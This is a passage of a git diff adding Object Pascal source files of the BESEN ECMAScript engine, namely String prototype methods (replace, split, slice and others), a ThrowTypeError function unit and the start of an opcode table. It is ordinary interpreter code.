break; + end; + + {$ifdef UseAssert} + Assert((vr.ValueType=bvtOBJECT) and assigned(vr.Obj) and (vr.Obj is TBESENObjectArray)); + {$endif} + TBESENObject(vr.Obj).Get('0',v); + {$ifdef UseAssert} + Assert(v.ValueType=bvtSTRING); + {$endif} + + a.OverwriteData(inttostr(n),v,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]); + inc(Matches); + + if length(v.Str)=0 then begin + RegExp.Get('lastIndex',v); + {$ifdef UseAssert} + Assert(v.ValueType=bvtNUMBER); + {$endif} + v.Num:=v.Num+1; + RegExp.OverwriteData('lastIndex',v,[bopaWRITABLE]); + end; + inc(n); + end; + finally + a.GarbageCollectorUnlock; + end; + if Matches=0 then begin + ResultValue:=BESENNullValue; + end else begin + ResultValue:=BESENObjectValue(a); + end; + end else begin + vs.ValueType:=bvtSTRING; + vs.Str:=s; + ValuePointers[0]:=@vs; + TBESEN(Instance).ObjectCall(Exec,BESENObjectValue(RegExp),@ValuePointers,1,ResultValue); + end; +end; + +procedure TBESENObjectStringPrototype.NativeReplace(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure Helper(var PrevIndexP:longword;a:TBESENObject;var OutStr:TBESENString;const Source:TBESENString;var ReplaceValue:TBESENValue;CountCaptures:integer); + var v,vr:TBESENValue; + n:integer; + Index,i,j,k:longword; + ms,Replace:TBESENString; + Values:TBESENValues; + pValues:TBESENValuePointers; + begin + v:=BESENEmptyValue; + + a.Get('index',v); + Index:=TBESEN(Instance).ToUInt32(v); + + a.Get('0',v); +{$ifdef UseAssert} + Assert(v.ValueType=bvtSTRING); +{$endif} + ms:=TBESEN(Instance).ToStr(v); + + i:=PrevIndexP; + if i<Index then begin + OutStr:=OutStr+copy(Source,i+1,Index-i); + end; + PrevIndexP:=Index+longword(length(ms)); + + if ReplaceValue.ValueType=bvtOBJECT then begin + Values:=nil; + pValues:=nil; + try + SetLength(Values,CountCaptures+2); + SetLength(pValues,CountCaptures+2); + for n:=0 to length(Values)-1 do begin + Values[n]:=BESENEmptyValue; + end; + for n:=0 to CountCaptures-1 do begin + a.Get(inttostr(n),Values[n]); + end; + Values[CountCaptures]:=BESENNumberValue(Index); + Values[CountCaptures+1]:=BESENStringValue(Source); + for n:=0 to length(Values)-1 do begin + pValues[n]:=@Values[n]; + end; + TBESEN(Instance).ObjectCall(TBESENObject(ReplaceValue.Obj),BESENObjectValueEx(TBESENObject(ReplaceValue.Obj)),@pValues[0],length(pValues),vr); + OutStr:=OutStr+TBESEN(Instance).ToStr(vr); + finally + SetLength(Values,0); + SetLength(pValues,0); + end; + exit; + end; + + Replace:=TBESEN(Instance).ToStr(ReplaceValue); + + i:=0; + while i<longword(length(Replace)) do begin + if (Replace[i+1]='$') and ((i+1)<longword(length(Replace))) then begin + inc(i); + case Replace[i+1] of + '$':begin + OutStr:=OutStr+'$'; + inc(i); + continue; + end; + '`':begin + k:=0; + while k<Index do begin + OutStr:=OutStr+Source[k+1]; + inc(k); + end; + inc(i); + continue; + end; + '''':begin + k:=PrevIndexP; + while k<longword(length(Source)) do begin + OutStr:=OutStr+Source[k+1]; + inc(k); + end; + inc(i); + continue; + end; + '&':begin + OutStr:=OutStr+ms; + inc(i); + continue; + end; + end; + j:=i; + n:=0; + while (j<longword(length(Replace))) and ((word(widechar(Replace[j+1]))>=ord('0')) and (word(widechar(Replace[j+1]))<=ord('9'))) do begin + n:=(n*10)+(word(widechar(Replace[j+1]))-ord('0')); + inc(j); + end; + if i=j then begin + OutStr:=OutStr+'$'; + continue; + end; + a.Get(inttostr(n),v); + if v.ValueType<>bvtUNDEFINED then begin +{$ifdef UseAssert} + Assert(v.ValueType=bvtSTRING); +{$endif} + OutStr:=OutStr+v.Str; + end; + i:=j; + end else begin + OutStr:=OutStr+Replace[i+1]; + inc(i); + end; + end; + end; +var RegExp:TBESENObjectRegExp; + CountCaptures:integer; + ReplaceValue,v,v2,vr,vs:TBESENValue; + Exec:TBESENObject; + Global:boolean; + s,OutStr:TBESENString; + PrevIndex:longword; + ValuePointers:array[0..0] of PBESENValue; + HasOutputString:boolean; +begin + BESENCheckObjectCoercible(ThisArgument); + s:=TBESEN(Instance).ToStr(ThisArgument); + + RegExp:=TBESENObjectRegExp(RegExpArg(Arguments,CountArguments)); + CountCaptures:=RegExp.Engine.CountOfCaptures; + ReplaceValue:=BESENEmptyValue; + v:=BESENEmptyValue; + v2:=BESENEmptyValue; + vr:=BESENEmptyValue; + OutStr:=''; + + PrevIndex:=0; + + if CountArguments<2 then begin + ReplaceValue.ValueType:=bvtSTRING; + ReplaceValue.Str:=''; + end else if (Arguments^[1]^.ValueType=bvtOBJECT) and assigned(Arguments^[1]^.Obj) and TBESENObject(Arguments^[1]^.Obj).HasCall then begin + BESENCopyValue(ReplaceValue,Arguments^[1]^); + end else begin + TBESEN(Instance).ToStringValue(Arguments^[1]^,ReplaceValue); + end; + + RegExp.Get('exec',v); +{$ifdef UseAssert} + Assert((v.ValueType=bvtOBJECT) and assigned(TBESENObject(v.Obj)) and TBESENObject(v.Obj).HasCall); +{$endif} + Exec:=TBESENObject(v.Obj); + + RegExp.Get('global',v); +{$ifdef UseAssert} + Assert(v.ValueType=bvtBOOLEAN); +{$endif} + Global:=v.Bool; + + HasOutputString:=false; + + if Global then begin + RegExp.OverwriteData('lastIndex',BESENNumberValue(0),[bopaWRITABLE]); + while true do begin + vs.ValueType:=bvtSTRING; + vs.Str:=s; + ValuePointers[0]:=@vs; + TBESEN(Instance).ObjectCall(Exec,BESENObjectValue(RegExp),@ValuePointers,1,vr); + if vr.ValueType=bvtNULL then begin + break; + end; +{$ifdef UseAssert} + Assert((vr.ValueType=bvtOBJECT) and assigned(TBESENObject(vr.Obj)) and (TBESENObject(vr.Obj) is TBESENObjectArray)); +{$endif} + TBESENObject(vr.Obj).Get('0',v); +{$ifdef UseAssert} + Assert(v.ValueType=bvtSTRING); +{$endif} + if length(v.Str)<>0 then begin + Helper(PrevIndex,TBESENObject(vr.Obj),OutStr,s,ReplaceValue,CountCaptures); + HasOutputString:=true; + end else begin + RegExp.Get('lastIndex',v); +{$ifdef UseAssert} + Assert(v.ValueType=bvtNUMBER); +{$endif} + v.Num:=v.Num+1; + RegExp.OverwriteData('lastIndex',v,[bopaWRITABLE]); + end; + end; + end else begin + v.ValueType:=bvtSTRING; + v.Str:=s; + ValuePointers[0]:=@v; + TBESEN(Instance).ObjectCall(Exec,BESENObjectValue(RegExp),@ValuePointers,1,v2); + if v2.ValueType<>bvtNULL then begin +{$ifdef UseAssert} + Assert((v2.ValueType=bvtOBJECT) and assigned(v2.Obj) and (v2.Obj is TBESENObjectArray)); +{$endif} + Helper(PrevIndex,TBESENObject(v2.Obj),OutStr,s,ReplaceValue,CountCaptures); + HasOutputString:=true; + end; + end; + + if HasOutputString then begin + ResultValue:=BESENStringValue(OutStr+copy(s,PrevIndex+1,(longword(length(s))-PrevIndex)+1)); + end else begin + ResultValue:=BESENStringValue(s); + end; +end; + +procedure TBESENObjectStringPrototype.NativeSearch(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var RegExp:TBESENObjectRegExp; + s:TBESENSTRING; + i:integer; + Captures:TBESENRegExpCaptures; +begin + BESENCheckObjectCoercible(ThisArgument); + s:=TBESEN(Instance).ToStr(ThisArgument); + RegExp:=TBESENObjectRegExp(RegExpArg(Arguments,CountArguments)); + Captures:=nil; + try + ResultValue:=BESENNumberValue(-1); + for i:=0 to length(s)-1 do begin + if RegExp.Engine.Match(s,i,Captures) then begin + ResultValue:=BESENNumberValue(Captures[0].s); + break; + end; + end; + finally + SetLength(Captures,0); + end; +end; + +procedure TBESENObjectStringPrototype.NativeSlice(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var s:TBESENString; + len,intStart,intEnd,sFrom,sTo,span:integer; +begin + BESENCheckObjectCoercible(ThisArgument); + + s:=TBESEN(Instance).ToStr(ThisArgument); + + len:=length(s); + + if (CountArguments<1) or (Arguments^[0]^.ValueType=bvtUNDEFINED) then begin + intStart:=0; + end else begin + intStart:=TBESEN(Instance).ToInt(Arguments^[0]^); + end; + + if (CountArguments<2) or (Arguments^[1]^.ValueType=bvtUNDEFINED) then begin + intEnd:=len; + end else begin + intEnd:=TBESEN(Instance).ToInt(Arguments^[1]^); + end; + + if intStart<0 then begin + sFrom:=max(len+intStart,0); + end else begin + sFrom:=min(intStart,len); + end; + + if intEnd<0 then begin + sTo:=max(len+intEnd,0); + end else begin + STo:=min(intEnd,len); + end; + + span:=max(sTo-sFrom,0); + + if span=0 then begin + ResultValue:=BESENStringValue(''); + end else begin + ResultValue:=BESENStringValue(copy(s,sFrom+1,span)); + end; +end; + +procedure TBESENObjectStringPrototype.NativeSplit(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + function SplitMatch(var r:TBESENValue;var s:TBESENString;q:integer;var Captures:TBESENRegExpCaptures):boolean; + var rl,sl,i:integer; + begin + if r.ValueType<>bvtOBJECT then begin + rl:=length(r.Str); + sl:=length(s); + if (q+rl)>sl then begin + result:=false; + end else begin + for i:=0 to rl-1 do begin + if s[q+i+1]<>r.Str[i+1] then begin + result:=false; + exit; + end; + end; + Captures[0].s:=q; + Captures[0].e:=q+rl; + result:=true; + end; + end else begin + result:=TBESENObjectRegExp(R.Obj).Engine.Match(s,q,Captures); + end; + end; +var v,av,r:TBESENValue; + s,rs:TBESENString; + a:TBESENObjectArray; + lim:TBESENUINT32; + p,sl,CountCaptures,e,q,i:integer; + Captures:TBESENRegExpCaptures; + n,Done:boolean; + ValuePointers:array[0..0] of PBESENValue; +begin + BESENCheckObjectCoercible(ThisArgument); + s:=TBESEN(Instance).ToStr(ThisArgument); + + v:=BESENEmptyValue; + + a:=TBESENObjectArray.Create(Instance,TBESEN(Instance).ObjectArrayPrototype,false); + TBESEN(Instance).GarbageCollector.Add(a); + a.GarbageCollectorLock; + try + ResultValue:=BESENObjectValue(a); + + if (CountArguments<2) or (Arguments^[1]^.ValueType=bvtUNDEFINED) then begin + lim:=$ffffffff; + end else begin + lim:=TBESEN(Instance).ToUInt32(Arguments^[1]^); + end; + + Done:=false; + sl:=length(s); + if (sl=0) and ((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) then begin + Done:=true; + end; + + if not Done then begin + v:=BESENEmptyValue; + av:=BESENEmptyValue; + r:=BESENEmptyValue; + Captures:=nil; + try + p:=0; + if (CountArguments<1) or (Arguments^[0]^.ValueType=bvtUNDEFINED) then begin + r:=BESENStringValue('undefined'); + CountCaptures:=1; + end else if (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(Arguments^[0]^.Obj) and (Arguments^[0]^.Obj is TBESENObjectRegExp) then begin + BESENCopyValue(r,Arguments^[0]^); + CountCaptures:=TBESENObjectRegExp(Arguments^[0]^.Obj).Engine.CountOfCaptures; + end else begin + rs:=TBESEN(Instance).ToStr(Arguments^[0]^); + if ((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) and (rs=' ') then begin + av:=BESENStringValue('\s+'); + ValuePointers[0]:=@av; + TBESEN(Instance).ObjectConstruct(TBESEN(Instance).ObjectRegExpConstructor,BESENObjectValue(TBESEN(Instance).ObjectRegExpConstructor),@ValuePointers,1,r); + while (p<sl) and BESENUnicodeIsStringWhiteSpace(word(widechar(s[p+1]))) do begin + inc(p); + end; + end else begin + r:=BESENStringValue(rs); + end; + CountCaptures:=1; + end; + if CountCaptures<>0 then begin + SetLength(Captures,CountCaptures); + end; + if lim>0 then begin + if (CountArguments<1) or ((Arguments^[0]^.ValueType=bvtUNDEFINED) and ((TBESEN(Instance).Compatibility and COMPAT_JS)=0)) then begin + v:=BESENStringValue(s); + a.Push(v); + end else if length(s)=0 then begin + if not SplitMatch(r,s,0,Captures) then begin + v:=BESENStringValue(s); + a.Push(v); + end; + end else begin + q:=p; + while true do begin + if q=sl then begin + v:=BESENStringValue(copy(s,p+1,sl-p)); + a.Push(v); + break; + end else begin + if not SplitMatch(r,s,q,Captures) then begin + inc(q); + continue; + end else begin + e:=Captures[0].e; + if e=p then begin + inc(q); + continue; + end else begin + v:=BESENStringValue(copy(s,p+1,q-p)); + a.Push(v); + if A.Len=lim then begin + break; + end else begin + p:=e; + i:=0; + n:=false; + while true do begin + if i=(CountCaptures-1) then begin + q:=p; + n:=false; + break; + end else begin + inc(i); + if Captures[i].e=brecUNDEFINED then begin + v:=BESENUndefinedValue; + end else begin + v:=BESENStringValue(copy(s,Captures[i].s+1,Captures[i].e-Captures[i].s)); + end; + a.Push(v); + if A.Len=lim then begin + n:=true; + break; + end; + end; + end; + if n then begin + break; + end else begin + continue; + end; + end; + end; + end; + end; + end; + end; + end; + finally + SetLength(Captures,0); + end; + end; + finally + a.GarbageCollectorUnlock; + end; +end; + +procedure TBESENObjectStringPrototype.NativeSubstring(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var v:TBESENValue; + s:TBESENString; + a,b,ss,se,sl:integer; +begin + BESENCheckObjectCoercible(ThisArgument); + s:=TBESEN(Instance).ToStr(ThisArgument); + + if CountArguments<1 then begin + a:=0; + end else begin + TBESEN(Instance).ToIntegerValue(Arguments^[0]^,v); + if BESENIsNaN(v.Num) then begin + a:=0; + end else begin + a:=trunc(min(max(v.Num,0),length(s))); + end; + end; + + if (CountArguments<2) or (Arguments^[1]^.ValueType=bvtUNDEFINED) then begin + b:=length(s); + end else begin + TBESEN(Instance).ToIntegerValue(Arguments^[1]^,v); + if BESENIsNaN(v.Num) then begin + b:=0; + end else begin + b:=trunc(min(max(v.Num,0),length(s))); + end; + end; + + ss:=min(a,b); + se:=max(a,b); + sl:=max(se-ss,0); + + if sl=0 then begin + ResultValue:=BESENStringValue(''); + end else begin + ResultValue:=BESENStringValue(copy(s,ss+1,sl)); + end; +end; + +procedure TBESENObjectStringPrototype.NativeToLowerCase(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + BESENCheckObjectCoercible(ThisArgument); + ResultValue:=BESENStringValue(BESENLowercase(TBESEN(Instance).ToStr(ThisArgument))); +end; + +procedure TBESENObjectStringPrototype.NativeToLocaleLowerCase(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + BESENCheckObjectCoercible(ThisArgument); + ResultValue:=BESENStringValue(BESENLowercase(TBESEN(Instance).ToStr(ThisArgument))); +end; + +procedure TBESENObjectStringPrototype.NativeToUpperCase(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + BESENCheckObjectCoercible(ThisArgument); + ResultValue:=BESENStringValue(BESENUppercase(TBESEN(Instance).ToStr(ThisArgument))); +end; + +procedure TBESENObjectStringPrototype.NativeToLocaleUpperCase(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + BESENCheckObjectCoercible(ThisArgument); + ResultValue:=BESENStringValue(BESENUppercase(TBESEN(Instance).ToStr(ThisArgument))); +end; + +procedure TBESENObjectStringPrototype.NativeTrim(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var s:TBESENString; + StartPosition,LengthCount:integer; +begin + BESENCheckObjectCoercible(ThisArgument); + s:=TBESEN(Instance).ToStr(ThisArgument); + LengthCount:=length(s); + if LengthCount>0 then begin + while (LengthCount>0) and BESENUnicodeIsStringWhiteSpace(word(widechar(s[LengthCount]))) do begin + dec(LengthCount); + end; + StartPosition:=1; + while (StartPosition<=LengthCount) and BESENUnicodeIsStringWhiteSpace(word(widechar(s[StartPosition]))) do begin + inc(StartPosition); + end; + s:=copy(s,StartPosition,LengthCount-StartPosition+1); + end; + ResultValue:=BESENStringValue(s); +end; + +procedure TBESENObjectStringPrototype.NativeSubstr(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var v:TBESENValue; + s:TBESENString; + ss,sl:integer; +begin + BESENCheckObjectCoercible(ThisArgument); + s:=TBESEN(Instance).ToStr(ThisArgument); + + if CountArguments<1 then begin + v:=BESENNumberValue(0); + end else begin + TBESEN(Instance).ToIntegerValue(Arguments^[0]^,v); + end; + if BESENIsNegative(v.Num) then begin + ss:=trunc(max(v.Num+length(s),0)); + end else begin + ss:=trunc(min(v.Num,length(s))); + end; + + if (CountArguments<2) or (Arguments^[1]^.ValueType=bvtUNDEFINED) then begin + sl:=length(s)-ss; + end else begin + sl:=min(TBESEN(Instance).ToInt(Arguments^[1]^),length(s)-ss); + end; + + if sl=0 then begin + ResultValue:=BESENStringValue(''); + end else begin + ResultValue:=BESENStringValue(copy(s,ss+1,sl)); + end; +end; + +procedure TBESENObjectStringPrototype.NativeAnchor(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENStringValue(''); +end; + +procedure TBESENObjectStringPrototype.NativeBig(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENStringValue(''); +end; + +procedure TBESENObjectStringPrototype.NativeBlink(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENStringValue(''); +end; + +procedure TBESENObjectStringPrototype.NativeBold(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENStringValue(''); +end; + +procedure TBESENObjectStringPrototype.NativeFixed(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENStringValue(''); +end; + +procedure TBESENObjectStringPrototype.NativeFontColor(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENStringValue(''); +end; + +procedure TBESENObjectStringPrototype.NativeFontSize(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENStringValue(''); +end; + +procedure TBESENObjectStringPrototype.NativeItalics(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENStringValue(''); +end; + +procedure TBESENObjectStringPrototype.NativeLink(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENStringValue(''); +end; + +procedure TBESENObjectStringPrototype.NativeSmall(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENStringValue(''); +end; + +procedure TBESENObjectStringPrototype.NativeStrike(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENStringValue(''); +end; + +procedure TBESENObjectStringPrototype.NativeSub(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENStringValue(''); +end; + +procedure TBESENObjectStringPrototype.NativeSup(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + ResultValue:=BESENStringValue(''); +end; + +end. diff --git a/Core/JS/BESENObjectThrowTypeErrorFunction.pas b/Core/JS/BESENObjectThrowTypeErrorFunction.pas new file mode 100644 index 0000000..48c8e53 --- /dev/null +++ b/Core/JS/BESENObjectThrowTypeErrorFunction.pas @@ -0,0 +1,74 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectThrowTypeErrorFunction; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectThrowTypeErrorFunction=class(TBESENObjectFunction) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasCall:TBESENBoolean; override; + end; + +implementation + +uses BESEN,BESENErrors; + +constructor TBESENObjectThrowTypeErrorFunction.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='ThrowTypeError'; +end; + +destructor TBESENObjectThrowTypeErrorFunction.Destroy; +begin + inherited Destroy; +end; + +{$warnings off} +procedure TBESENObjectThrowTypeErrorFunction.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + raise EBESENTypeError.Create('ThrowTypeError'); +end; +{$warnings on} + +function TBESENObjectThrowTypeErrorFunction.HasCall:TBESENBoolean; +begin + result:=true; +end; + +end. diff --git a/Core/JS/BESENOpcodes.pas b/Core/JS/BESENOpcodes.pas new file mode 100644 index 0000000..f467f37 --- /dev/null +++ b/Core/JS/BESENOpcodes.pas @@ -0,0 +1,365 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENOpcodes; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes; + +const bopSTOP=0; + bopNEW=1; + bopCALL=2; + bopEND=3; + bopVREF=4; + bopLREF=5; + bopNOP=6; + bopCOPY=7; + bopNEQ=8; + bopNSEQ=9; + bopAREF=10; + bopTHROW=11; + bopSETC=12; + bopGETC=13; + bopTHIS=14; + bopOBJECT=15; + bopARRAY=16; + bopREGEXP=17; + bopREF=18; + bopGETVALUE=19; + bopLOOKUP=20; + bopPUTVALUE=21; + bopDELETE=22; + bopTYPEOF=23; + bopTOOBJECT=24; + bopTONUMBER=25; + bopTOBOOLEAN=26; + bopTOSTRING=27; + bopTOPRIMITIVE=28; + bopNEG=29; + bopINV=30; + bopNOT=31; + bopMUL=32; + bopDIV=33; + bopMOD=34; + bopADD=35; + bopADDNUM=36; + bopSUB=37; + bopSHL=38; + bopSHR=39; + bopUSHR=40; + bopLT=41; + bopGT=42; + bopLE=43; + bopGE=44; + bopINSTANCEOF=45; + bopIN=46; + bopEQ=47; + bopSEQ=48; + bopBAND=49; + bopBXOR=50; + bopBOR=51; + bopSENUM=52; + bopSWITH=53; + bopSCATCH=54; + bopENDF=55; + bopJMP=56; + bopJZ=57; + bopJNZ=58; + bopJNULL=59; + bopLOOPENUM=60; + bopSTRYC=61; + bopSTRYF=62; + bopLITERAL=63; + bopLITERALUNDEF=64; + bopLITERALNULL=65; + bopLITERALBOOL=66; + bopLITERALNUM=67; + bopLITERALSTR=68; + bopLITERALOBJ=69; + bopFUNC=70; + bopLINE=71; + bopGC=72; + bopSTRICT=73; + bopSTRICTCHECKREF=74; + bopDEBUGGER=75; + bopCHECKOBJECTCOERCIBLE=76; + bopPUTOBJVALUE=77; + bopPUTOBJGET=78; + bopPUTOBJSET=79; + bopINC=80; + bopDEC=81; + bopCOPYBOOL=82; + bopCOPYNUM=83; + bopCOPYSTR=84; + bopCOPYOBJ=85; + bopCOPYREF=86; + bopCOPYLOCAL=87; + bopGETVALUEREF=88; + bopPUTVALUEREF=89; + bopGETVALUELOCAL=90; + bopPUTVALUELOCAL=91; + bopGETVALUELOCALFAST=92; + bopPUTVALUELOCALFAST=93; + bopGETVALUELOCALBOOL=94; + bopPUTVALUELOCALBOOL=95; + bopGETVALUELOCALNUM=96; + bopPUTVALUELOCALNUM=97; + bopGETVALUELOCALSTR=98; + bopPUTVALUELOCALSTR=99; + bopGETVALUELOCALOBJ=100; + bopPUTVALUELOCALOBJ=101; + bopGETVALUELOCALINDEX=102; + bopPUTVALUELOCALINDEX=103; + bopGETVALUELOCALINDEXBOOL=104; + bopPUTVALUELOCALINDEXBOOL=105; + bopGETVALUELOCALINDEXNUM=106; + bopPUTVALUELOCALINDEXNUM=107; + bopGETVALUELOCALINDEXSTR=108; + bopPUTVALUELOCALINDEXSTR=109; + bopGETVALUELOCALINDEXOBJ=110; + bopPUTVALUELOCALINDEXOBJ=111; + bopLOOPINITCOUNT=112; + bopLOOPADDCOUNT=113; + bopTRACE=114; + bopLTBOOL=115; + bopGTBOOL=116; + bopLEBOOL=117; + bopGEBOOL=118; + bopEQBOOL=119; + bopNEQBOOL=120; + bopLTNUM=121; + bopGTNUM=122; + bopLENUM=123; + bopGENUM=124; + bopEQNUM=125; + bopNEQNUM=126; + bopLTSTR=127; + bopGTSTR=128; + bopLESTR=129; + bopGESTR=130; + bopEQSTR=131; + bopNEQSTR=132; + bopSHLBOOl=133; + bopSHRBOOL=134; + bopBANDBOOL=135; + bopBXORBOOL=136; + bopBORBOOL=137; + bopSHLNUM=138; + bopSHRNUM=139; + bopUSHRNUM=140; + bopBANDNUM=141; + bopBXORNUM=142; + bopBORNUM=143; + bopSETCUNDEF=144; + bopSETCNULL=145; + bopSETCBOOL=146; + bopSETCNUM=147; + bopSETCSTR=148; + bopSETCOBJ=149; + bopTRACENEW=150; + bopTRACECALL=151; + bopLTNUMCONST=152; + bopGTNUMCONST=153; + bopLENUMCONST=154; + bopGENUMCONST=155; + bopEQNUMCONST=156; + bopNEQNUMCONST=157; + bopJZERO=158; + bopJNZERO=159; + + bopFIRST=0; + bopLAST=159; + + OpcodeNames:array[bopFIRST..bopLAST] of TBESENString=('STOP', + 'NEW', + 'CALL', + 'END', + 'VREF', + 'LREF', + 'NOP', + 'COPY', + 'NEQ', + 'NSEQ', + 'AREF', + 'THROW', + 'SETC', + 'GETC', + 'THIS', + 'OBJECT', + 'ARRAY', + 'REGEXP', + 'REF', + 'GETVALUE', + 'LOOKUP', + 'PUTVALUE', + 'DELETE', + 'TYPEOF', + 'TOOBJECT', + 'TONUMBER', + 'TOBOOLEAN', + 'TOSTRING', + 'TOPRIMITIVE', + 'NEG', + 'INV', + 'NOT', + 